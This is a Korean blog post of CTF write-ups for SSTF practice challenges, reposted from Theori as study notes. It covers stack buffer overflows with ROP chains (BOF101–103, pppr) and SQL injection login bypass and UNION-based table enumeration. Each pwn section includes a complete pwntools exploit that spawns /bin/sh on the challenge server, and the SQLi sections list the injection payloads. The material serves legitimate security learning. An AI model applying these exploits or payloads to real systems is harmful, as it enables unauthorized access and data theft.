1. BOF101
(1) 문제 설명
- 바이너리 파일과 C 코드가 주어진다.
- bof101.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int printflag(){
char buf[32];
FILE* fp = fopen("/flag", "r");
fread(buf, 1, 32, fp);
fclose(fp);
printf("%s", buf);
return 0;
}
int main() {
int check=0xdeadbeef;
char name[140];
printf("printflag()'s addr: %p\n", &printflag);
printf("What is your name?\n: ");
scanf("%s", name);
if (check != 0xdeadbeef){
printf("[Warning!] BOF detected!\n");
exit(0);
}
return 0;
}
(2) 풀이
① 보호기법을 확인해보면, Canary가 적용되지 않은 것을 볼 수 있다.
② 주어진 C코드에 작성된 것을 보면, 입력받아오는 크기를 지정해 두지 않는다. 이를 통해, BOF가 발생한다.
③ pwndbg를 이용해 디컴파일 해보면, [rbp-0x4] 위치에 0xdeadbeef를 넣고 마지막 부분에서 변조되었는지 검증한다.
- stack이 0x90만큼 할당되었기 때문에, 0x4를 뺀 0x8C만큼 임의의 값을 넣고 0x4byte에 0xdeadbeef를 넣어주면 된다.
④ 바이너리 실행시 출력되는 printflag주소를 RET에 넣어주면, flag를 획득할 수 있다.
(3) Exploit Code
#!/usr/bin/python3
from pwn import *
#p = process(b"./bof101")
p = remote(b"bof101.sstf.site", 1337)
p.recvuntil(b"addr: ");
printflag_addr = int(p.recvline()[:-1],16);
check = 0xdeadbeef
print("printflag : ", printflag_addr)
payload = b"A" * 0x8C
payload += p64(check)
payload += b"b" * 0x4
payload += p64(printflag_addr)
p.sendline(payload)
p.interactive()
2. BOF 102
(1) 문제 설명
- 바이너리 파일과 C코드가 주어진다.
- bof102.c
#include <stdio.h>
#include <stdlib.h>
char name[16];
void bofme() {
char payload[16];
puts("What's your name?");
printf("Name > ");
scanf("%16s", name);
printf("Hello, %s.\n", name);
puts("Do you wanna build a snowman?");
printf(" > ");
scanf("%s", payload);
printf("!!!%s!!!\n", payload);
puts("Good.");
}
int main() {
system("echo 'Welcome to BOF 102!'");
bofme();
return 0;
}
(2) 풀이
① 보호기법을 확인해보면, 32bit 프로그램으로 NX와 ASLR이 적용된 것을 확인할 수 있다.
- NX와 ASLR을 우회하기 위해, ROP기법을 사용하여 쉘을 획득하였다.
② 코드 분석
- bofme함수에서 payload에 입력받아오는 크기를 제한해두지 않았다.
- main함수에서 system함수가 존재하는 것을 볼 수 있다.
- name은 전역변수이다.
③ 코드에 system함수가 존재하는 것을 보아, gadget은 pop; ret;으로 구한다.
④ payload에 dummy값이 있는지 확인한다.
⑤ NX보호기법이 적용되어 있기 때문에, '/bin/sh'는 전역 변수인 name에 입력값으로 저장한다.
- name의 주소는 다컴파일을 통해, 알 수 있다.
⑥ system주소를 구한다.
⑦ bof를 발생시키고 gadget을 이용하여, system("/bin/sh")를 실행시킨다.
system = 0x80483e0
gadget = 0x08048395 #pop ebx ; ret
name = 0x804a034
payload = b"A" * 0x10
payload += b"b" * 0x4
payload += p32(system) #system("/bin/sh")
payload += p32(gadget)
payload += p32(name)
(3) Exploit Code
#!/usr/bin/python3
from pwn import *
#p = process(b"./bof102")
p = remote(b"bof102.sstf.site", 1337)
system = 0x80483e0
gadget = 0x08048395 #pop ebx ; ret
name = 0x804a034
payload = b"A" * 0x10
payload += b"b" * 0x4
payload += p32(system) #system("/bin/sh")
payload += p32(gadget)
payload += p32(name)
p.recvuntil(b"Name > ")
p.sendline(b"/bin/sh\x00")
p.sendline(payload)
p.interactive()
3. BOF 103
(1) 문제 설명
- 바이너리 파일과 C 코드가 주어진다.
- bof103.c
#include <stdio.h>
#include <stdlib.h>
unsigned long long key;
void useme(unsigned long long a, unsigned long long b)
{
key = a * b;
}
void bofme() {
char name[16];
puts("What's your name?");
printf("Name > ");
fflush(stdout);
scanf("%s", name);
printf("Bye, %s.\n", name);
}
int main() {
system("echo 'Welcome to BOF 103!'");
bofme();
return 0;
}
(2) 풀이
① 보호기법을 확인해보면, 64bit 프로그램으로 NX와 ASLR이 적용된 것을 확인할 수 있다.
- NX와 ASLR을 우회하기 위해, ROP기법을 사용하여 쉘을 획득하였다.
② 코드 분석
- bofme함수에서 name에 입력받아오는 크기를 제한해두지 않았다.
- main함수에서 system함수가 존재하는 것을 볼 수 있다.
- ungined long long자료형인 key는 전역변수이며, useme함수를 통해 key에 값이 할당된다.
③ NX보호기법이 적용되어 있어, bss에 위치한 key에 '/bin/sh'문자열을 저장해야 한다.
- useme함수에서 ungined long long자료형인 a*b한 값이 key에 할당된다.
- 자료형이 ungined long long 이므로, '/bin/sh' 문자열을 int형으로 바꿔 a에 할당하고, b에는 1을 할당하면 된다.
a = int.from_bytes(b"/bin/sh\x00", 'little')
b = 1
④ 64bit 형식에 맞게 사용할 수 있는 gadget이 있는지 확인한다.
- useme함수에 들어가는 인자 2개를 위해, 'pop rdi; pop rsi; ret'가 필요하다.
하지만, 사용할 수 있는 gadget이 없으므로, 'pop rdi; ret'와 'pop rsi; ret' 2개의 가젯을 이용해서 인자값을 넘겨주었다. - system함수 인자를 넣어줄 gadget으로는 'pop rdi; ret'를 사용하였다.
⑤ useme함수에 인자값으로 위에서 계산한 a와 b를 넣어 key에 저장하고, 이를 system함수의 인자로 넣어 쉘을 획득한다.
payload += p64(pop_rdi)
payload += p64(a)
payload += p64(pop_rsi)
payload += p64(b)
payload += p64(useme)
payload += p64(pop_rdi)
payload += p64(key)
payload += p64(system) #system("/bin/sh")
(3) Exploit Code
#!/usr/bin/python3
from pwn import *
#p = process(b"./bof103")
p = remote(b"bof103.sstf.site", 1337)
e = ELF(b"./bof103")
libc = ELF(b"/lib/x86_64-linux-gnu/libc.so.6")
a = int.from_bytes(b"/bin/sh\x00", 'little')
b = 1
system = 0x400550
pop_rdi = 0x4007b3 #pop rdi ; ret
pop_rsi = 0x400747 #pop rsi ; ret
key = 0x601068 #bss
useme = 0x4006a6
payload = b"A" * 16
payload += b"b" * 8
payload += p64(pop_rdi)
payload += p64(a)
payload += p64(pop_rsi)
payload += p64(b)
payload += p64(useme)
payload += p64(pop_rdi)
payload += p64(key)
payload += p64(system) #system("/bin/sh")
p.recvuntil(b"Name > ")
p.sendline(payload)
p.interactive()
4. pppr
(1) 문제 설명
- 바이너리 파일과 해당 바이너리를 디컴파일한 코드가 주어진다.
- decompiled.c
//decompiled source code, generated by IDA pro
char buf_in_bss[128];
int __cdecl r(int a1, unsigned int a2, int a3)
{
int result; // eax
char v4; // [esp+3h] [ebp-9h]
unsigned int i; // [esp+4h] [ebp-8h]
if ( a3 )
{
puts("r() works only for stdin.");
result = -1;
}
else
{
for ( i = 0; a2 > i; ++i )
{
v4 = fgetc(stdin);
if ( v4 == -1 || v4 == 10 )
break;
*(_BYTE *)(a1 + i) = v4;
}
*(_BYTE *)(i + a1) = 0;
result = i;
}
return result;
}
int __cdecl x(char *command)
{
return system(command);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[4]; // [esp+0h] [ebp-8h] BYREF
setbuf(stdin, 0);
setbuf(stdout, 0);
alarm(0xAu);
r(v4, 64, 0);
return 0;
}
(2) 풀이
① 보호 기법을 확인해보면, 32bit 프로그램으로 NX와 ASLR이 적용된 것을 확인할 수 있다.
- NX와 ASLR을 우회하기 위해, ROP기법을 사용하여 쉘을 획득하였다.
② 코드 분석
- r함수를 통해, 입력값을 받아 4byte 크기인 v4에 저장하는데, 64byte만큼 입력받아오기 때문에 BOF문제가 발생한다.
- x함수의 인자가 system함수 인자값으로 들어가 실행하는 것을 볼 수 있다.
- buf_in_bss는 전역변수이다.
③ v4에서 BOF를 발생시키고, ROP기법으로 x함수에 존재하는 system함수를 실행시켜 쉘을 획득하는 문제이다.
④ v4에 dummy값이 존재하는지 확인한다.
- dummy값으로 기존 v4의 크기보다 4byte가 더 있는 것을 알 수 있다.
⑤ ROP기법을 이용해, r함수를 다시 호출하여 buf_in_bss에 '/bin/sh'를 넣어준다.
- r(buf_in_bss, 0x8, 0)으로 인자값을 바꿔줘서, buf_in_bss에 값을 할당할 수 있다.
- gadget은 3개의 인자를 전달해야 하므로, 'pop; pop; pop; ret'형식으로 구한다.
# r(buf_in_bss, 0x8, 0)
payload += p32(r_addr)
payload += p32(pppr)
payload += p32(buf_in_bss)
payload += p32(0x8)
payload += p32(0)
⑥ x함수의 인자로, buf_in_bss주소 값을 넣어 쉘을 획득할 수 있다.
- gadget은 1개의 인자만 전달하면 되므로, 'pop; ret'형식으로 구한다.
# x("/bin/sh")
payload += p32(x_addr)
payload += p32(pop_ret)
payload += p32(buf_in_bss)
(3) Exploit Code
from pwn import *
#p = process(b"./pppr")
p = remote(b"pppr.sstf.site", 1337)
#gadgets
pop_ret = 0x0804838d # pop ebx; ret
pppr = 0x080486a9 #pop esi ; pop edi ; pop ebp ; ret
r_addr = 0x8048526
buf_in_bss = 0x0804a040
x_addr = 0x80485b4
payload = b"A" * 0x8
payload += b"B" * 0x4
# r(buf_in_bss, 0x8, 0)
payload += p32(r_addr)
payload += p32(pppr)
payload += p32(buf_in_bss)
payload += p32(0x8)
payload += p32(0)
# x("/bin/sh")
payload += p32(x_addr)
payload += p32(pop_ret)
payload += p32(buf_in_bss)
p.sendline(payload)
p.send(b"/bin/sh\x00")
p.interactive()
5. SQLi 101
(1) 문제 설명
- 로그인 페이지의 주소가 주어지며, admin으로 로그인하면 flag를 얻을 수 있는 문제이다.
- 로그인 한번 틀릴 시, Hint로 sql 쿼리문을 출력해준다.
(2) 풀이
- username에 admin을 작성하고, #으로 주석 처리하면 어떤 password를 입력하든지 username뒤는 주석 처리된다.
- 이를 통해, password는 검증 안 하기 때문에, admin계정으로 로그인할 수 있다.
6. SQLi 102
(1) 문제 설명
- 책 검색 페이지의 주소가 주어지며, sql injection 쿼리를 이용하여 table과 column이름을 찾는 문제이다.
- HINT를 누르면, 해당 페이지의 소스코드를 볼 수 있다.
(2) 풀이
① 해당 페이지에서 사용하는 데이터베이스의 주석 문자를 확인한다.
- 해당 문제의 주석 문자는 "#"이다.
' or 1=1#
②union select문을 이용하여, 컬럼 수를 구한다.
- 컬럼의 개수가 8개인 것을 알 수 있다.
' UNION SELECT ALL 1,2,3,4,5,6,7,8 #
③ 데이터베이스 서버에 존재하는 모든 테이블명을 출력한다.
- findme라는 수상한 테이블을 확인할 수 있다.
' UNION SELECT ALL 1,table_name,3,4,5,6,7,8 from information_schema.tables #
④ findme테이블의 컬럼들을 확인한다.
- 출력된 컬럼명이 flag임을 알 수 있다.
' UNION SELECT ALL 1,column_name,3,4,5,6,7,8 from information_schema.columns where table_name='findme' #
※ 참고 ※
티오리에서 업로드한 writeup입니다. 나중에 참고하여 공부하려고 넣어두는 내용입니다. (출처 : 티오리)
'CTF' 카테고리의 다른 글
2023 HTB CTF Writeup (0) | 2023.07.20 |
---|---|
2023 Google CTF writeup (Pwnable) (0) | 2023.07.02 |
2022 POXX 예선 & 본선 writeup (pwnable, rev) (0) | 2022.12.28 |
2022 Hacking Camp writeup_pwnable (0) | 2022.09.03 |